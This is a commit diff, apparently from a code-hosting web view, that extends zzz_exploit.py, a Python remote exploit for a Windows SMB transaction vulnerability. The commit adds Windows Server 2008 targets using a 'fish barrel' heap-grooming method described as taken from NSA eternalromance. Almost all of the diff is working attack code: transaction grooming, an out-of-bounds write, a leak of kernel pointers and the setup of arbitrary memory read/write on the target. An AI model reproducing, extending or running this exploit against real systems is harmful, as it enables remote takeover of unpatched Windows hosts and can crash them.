add support Windows Server 2008
This commit is contained in:
189
zzz_exploit.py
189
zzz_exploit.py
@@ -19,13 +19,36 @@ Tested on:
|
|||||||
- Windows 8.1 x64
|
- Windows 8.1 x64
|
||||||
- Windows 2008 R2 SP1 x64
|
- Windows 2008 R2 SP1 x64
|
||||||
- Windows 7 SP1 x64
|
- Windows 7 SP1 x64
|
||||||
|
- Windows 2008 SP1 x64
|
||||||
- Windows 8.1 x86
|
- Windows 8.1 x86
|
||||||
- Windows 7 SP1 x86
|
- Windows 7 SP1 x86
|
||||||
|
- Windows 2008 SP1 x86
|
||||||
'''
|
'''
|
||||||
|
|
||||||
USERNAME = ''
|
USERNAME = ''
|
||||||
PASSWORD = ''
|
PASSWORD = ''
|
||||||
|
|
||||||
|
'''
|
||||||
|
A transaction with empty setup:
|
||||||
|
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
|
||||||
|
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
|
||||||
|
- no lookaside or caching method for allocating it
|
||||||
|
|
||||||
|
Note: method name is from NSA eternalromance
|
||||||
|
|
||||||
|
For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
|
||||||
|
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
|
||||||
|
alignment before doing OOB write. So this exploit should never crash a target.
|
||||||
|
|
||||||
|
For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
|
||||||
|
smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
|
||||||
|
a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
|
||||||
|
Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
|
||||||
|
in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
|
||||||
|
of this method is we cannot do information leak to verify transactions alignment before OOB write.
|
||||||
|
So this exploit has a chance to crash target same as NSA eternalromance on Windows Vista and earlier.
|
||||||
|
'''
|
||||||
|
|
||||||
'''
|
'''
|
||||||
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
|
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
|
||||||
win7 x64
|
win7 x64
|
||||||
@@ -57,7 +80,7 @@ struct SrvSecContext {
|
|||||||
BOOLEAN UsePsImpersonateClient; // 0x30
|
BOOLEAN UsePsImpersonateClient; // 0x30
|
||||||
}
|
}
|
||||||
|
|
||||||
SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
|
SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
|
||||||
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
|
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
|
||||||
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
|
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
|
||||||
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
|
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
|
||||||
@@ -96,7 +119,7 @@ WIN8_32_INFO = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
OS_ARCH_INFO = {
|
OS_ARCH_INFO = {
|
||||||
# for Windows 7 and 2008 R2
|
# for Windows Vista, 2008, 7 and 2008 R2
|
||||||
'WIN7': {
|
'WIN7': {
|
||||||
'x86': WIN7_32_INFO,
|
'x86': WIN7_32_INFO,
|
||||||
'x64': WIN7_64_INFO,
|
'x64': WIN7_64_INFO,
|
||||||
@@ -145,6 +168,7 @@ X64_INFO = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
TRANS_NAME_LEN = 4
|
TRANS_NAME_LEN = 4
|
||||||
|
HEAP_HDR_SIZE = 8 # heap chunk header size
|
||||||
|
|
||||||
|
|
||||||
def calc_alloc_size(size, align_size):
|
def calc_alloc_size(size, align_size):
|
||||||
@@ -175,6 +199,7 @@ def next_extra_mid():
|
|||||||
GROOM_TRANS_SIZE = 0x5010
|
GROOM_TRANS_SIZE = 0x5010
|
||||||
|
|
||||||
def leak_frag_size(conn, tid, fid):
|
def leak_frag_size(conn, tid, fid):
|
||||||
|
# this method can be used on Windows Vista/2008 and later
|
||||||
# leak "Frag" pool size and determine target architecture
|
# leak "Frag" pool size and determine target architecture
|
||||||
info = {}
|
info = {}
|
||||||
|
|
||||||
@@ -332,6 +357,8 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
|||||||
}
|
}
|
||||||
|
|
||||||
def exploit_matched_pairs(conn, pipe_name, info):
|
def exploit_matched_pairs(conn, pipe_name, info):
|
||||||
|
# for Windows 7/2008 R2 and later
|
||||||
|
|
||||||
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
|
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
|
||||||
conn.set_default_tid(tid)
|
conn.set_default_tid(tid)
|
||||||
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
|
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
|
||||||
@@ -399,7 +426,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
|||||||
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||||
print('!!! Write to wrong place !!!')
|
print('!!! Write to wrong place !!!')
|
||||||
print('the target might be crashed')
|
print('the target might be crashed')
|
||||||
sys.exit()
|
return False
|
||||||
|
|
||||||
print('success controlling groom transaction')
|
print('success controlling groom transaction')
|
||||||
|
|
||||||
@@ -427,6 +454,155 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
|||||||
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
def exploit_fish_barrel(conn, pipe_name, info):
|
||||||
|
# for Windows Vista/2008 and earlier
|
||||||
|
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
|
||||||
|
fid = conn.nt_create_andx(tid, pipe_name)
|
||||||
|
info['fid'] = fid
|
||||||
|
|
||||||
|
if info['os'] == 'WIN7':
|
||||||
|
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
|
||||||
|
info.update(leak_frag_size(conn, tid, fid))
|
||||||
|
|
||||||
|
if 'arch' in info:
|
||||||
|
# add os and arch specific exploit info
|
||||||
|
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
||||||
|
else:
|
||||||
|
# TODO: do not know target architecture (now assume architecture is known)
|
||||||
|
# this case is only for Windows 2003
|
||||||
|
return False
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# groom packets
|
||||||
|
# ================================
|
||||||
|
# sum of transaction name, parameters and data length is 0x1000
|
||||||
|
# paramterCount = 0x100-TRANS_NAME_LEN
|
||||||
|
print('Groom packets')
|
||||||
|
trans_param = pack('<HH', info['fid'], 0)
|
||||||
|
for i in range(12):
|
||||||
|
mid = info['fid'] if i == 8 else next_extra_mid()
|
||||||
|
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# shift transaction Indata ptr with SmbWriteAndX
|
||||||
|
# ================================
|
||||||
|
shift_indata_byte = 0x200
|
||||||
|
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# Dangerous operation: attempt to control one transaction
|
||||||
|
# ================================
|
||||||
|
# POOL_ALIGN value is same as heap alignment value
|
||||||
|
# TODO: try offset of 64 bit then 32 bit when no target architecture
|
||||||
|
HEAP_CHUNK_PAD_SIZE = (info['POOL_ALIGN'] - (info['TRANS_SIZE']+HEAP_HDR_SIZE) % info['POOL_ALIGN']) % info['POOL_ALIGN']
|
||||||
|
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
|
||||||
|
|
||||||
|
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_MID_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
# if the overwritten is correct, a modified transaction mid should be special_mid now.
|
||||||
|
# a new transaction with special_mid should be error.
|
||||||
|
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
|
||||||
|
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
|
||||||
|
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||||
|
print('!!! Write to wrong place !!!')
|
||||||
|
print('the target might be crashed')
|
||||||
|
return False
|
||||||
|
|
||||||
|
print('success controlling one transaction')
|
||||||
|
|
||||||
|
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
|
||||||
|
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
|
||||||
|
# because of this unfreed memory chunk. I will avoid it.
|
||||||
|
|
||||||
|
# modify transactions before leaking transaction info
|
||||||
|
print('modify parameter count to 0xffffffff to be able to write backward')
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||||
|
# on 64 bit, modify InParam last 4 bytes to \xff\xff\xff\xff to write backward
|
||||||
|
# this works because all transaction with empty setup is allocated with RtlAllocateHeap()
|
||||||
|
if info['arch'] == 'x64':
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
|
||||||
|
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
|
||||||
|
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
|
||||||
|
|
||||||
|
# modify paramterCount of first transaction
|
||||||
|
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||||
|
if info['arch'] == 'x64':
|
||||||
|
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||||
|
# restore InParameters pointer before leaking next transaction
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# leak transaction
|
||||||
|
# ================================
|
||||||
|
print('leak next transaction')
|
||||||
|
# modify TRANSACTION member to leak info
|
||||||
|
# function=5 (NT_TRANS_RENAME)
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
|
||||||
|
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
|
||||||
|
|
||||||
|
conn.send_nt_trans_secondary(mid=special_mid)
|
||||||
|
leakData = conn.recv_transaction_data(special_mid, 0x100)
|
||||||
|
leakData = leakData[4:] # remove param
|
||||||
|
#open('leak.dat', 'wb').write(leakData)
|
||||||
|
|
||||||
|
# check heap chunk size value in leak data
|
||||||
|
if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
|
||||||
|
print('chunk size is wrong')
|
||||||
|
return False
|
||||||
|
|
||||||
|
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
|
||||||
|
leakTrans = leakData[leakTranOffset:]
|
||||||
|
fmt = info['PTR_FMT']
|
||||||
|
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
|
||||||
|
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
|
||||||
|
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
|
||||||
|
|
||||||
|
print('CONNECTION: 0x{:x}'.format(connection_addr))
|
||||||
|
print('SESSION: 0x{:x}'.format(session_addr))
|
||||||
|
print('FLINK: 0x{:x}'.format(flink_value))
|
||||||
|
print('InData: 0x{:x}'.format(indata_value))
|
||||||
|
print('MID: 0x{:x}'.format(trans2_mid))
|
||||||
|
|
||||||
|
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
|
||||||
|
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
|
||||||
|
print('TRANS1: 0x{:x}'.format(trans1_addr))
|
||||||
|
print('TRANS2: 0x{:x}'.format(trans2_addr))
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# modify trans struct to be used for arbitrary read/write
|
||||||
|
# ================================
|
||||||
|
print('modify transaction struct for arbitrary read/write')
|
||||||
|
# modify
|
||||||
|
# - trans1.mid
|
||||||
|
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
|
||||||
|
# - trans1.InData to &trans2. so we can modify trans2 easily
|
||||||
|
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
|
||||||
|
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
trans1_mid = conn.next_mid()
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
info.update({
|
||||||
|
'connection': connection_addr,
|
||||||
|
'session': session_addr,
|
||||||
|
'trans1_mid': trans1_mid,
|
||||||
|
'trans1_addr': trans1_addr,
|
||||||
|
'trans2_mid': trans2_mid,
|
||||||
|
'trans2_addr': trans2_addr,
|
||||||
|
})
|
||||||
|
return True
|
||||||
|
|
||||||
def exploit(target, pipe_name):
|
def exploit(target, pipe_name):
|
||||||
conn = MYSMB(target)
|
conn = MYSMB(target)
|
||||||
@@ -441,13 +617,18 @@ def exploit(target, pipe_name):
|
|||||||
print('Target OS: '+server_os)
|
print('Target OS: '+server_os)
|
||||||
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
|
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
|
||||||
info['os'] = 'WIN7'
|
info['os'] = 'WIN7'
|
||||||
|
info['method'] = exploit_matched_pairs
|
||||||
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
|
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
|
||||||
info['os'] = 'WIN8'
|
info['os'] = 'WIN8'
|
||||||
|
info['method'] = exploit_matched_pairs
|
||||||
|
elif server_os.startswith("Windows Server (R) 2008"):
|
||||||
|
info['os'] = 'WIN7'
|
||||||
|
info['method'] = exploit_fish_barrel
|
||||||
else:
|
else:
|
||||||
print('This exploit does not support this target')
|
print('This exploit does not support this target')
|
||||||
sys.exit()
|
sys.exit()
|
||||||
|
|
||||||
if not exploit_matched_pairs(conn, pipe_name, info):
|
if not info['method'](conn, pipe_name, info):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Now, read_data() and write_data() can be used for arbitrary read and write.
|
# Now, read_data() and write_data() can be used for arbitrary read and write.
|
||||||
|
|||||||
Reference in New Issue
Block a user